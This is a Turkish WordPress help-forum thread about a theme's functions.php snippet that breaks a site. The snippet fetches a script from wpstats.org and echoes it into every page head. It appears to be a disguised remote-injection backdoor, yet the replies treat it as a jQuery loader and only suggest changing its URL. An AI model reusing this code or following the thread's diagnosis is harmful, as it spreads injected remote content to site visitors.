• 22-01-2013, 17:41:11
    #1
    Merhabalar,

    Daha önce hiç sorun vermeyen bir sitemde bugün şu sorunla karşılaştım.

    functions.php de bulunan
    //define jquery
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
    Bu kodda sanırım hata var, bahsi geçen wpstats.org sitesinde artık böyle bir js dosyası yok herhalde ki okuyamıyor şu sorunu veriyor.

    Çözüm yolu nedir ?

    Not : O url yerine http://code.jquery.com/jquery-1.6.3.min.js bunu yazdım ama yinede sorun verdi.

    bknz :
  • 22-01-2013, 17:45:21
    #2
    liseli karsi taraftaki sunucu dns degistirmis olabilir.

    $url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js';

    böyle degistir o satiri cdn kullanirsin
  • 22-01-2013, 17:47:44
    #3
    zoizo adlı üyeden alıntı: mesajı görüntüle
    liseli karsi taraftaki sunucu dns degistirmis olabilir.

    $url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js';

    böyle degistir o satiri cdn kullanirsin
    Liseli, o şekilde de denedim.
    Ama yine olmadı.
  • 22-01-2013, 17:52:52
    #4
    susun bi liseliler

    //define jquery 
    if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if
    (function_exists('curl_init')){$url = "http://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js";
     $data = file_get_contents($url); echo $data;}}add_action('wp_head', 'insert_jquery_theme');}
  • 22-01-2013, 17:55:04
    #5
    yine calismazsa firebug ile debug et. belki curl yuklu degildir veya allow_fopen_url 0'dir.
  • 22-01-2013, 17:56:28
    #6
    The problem solved.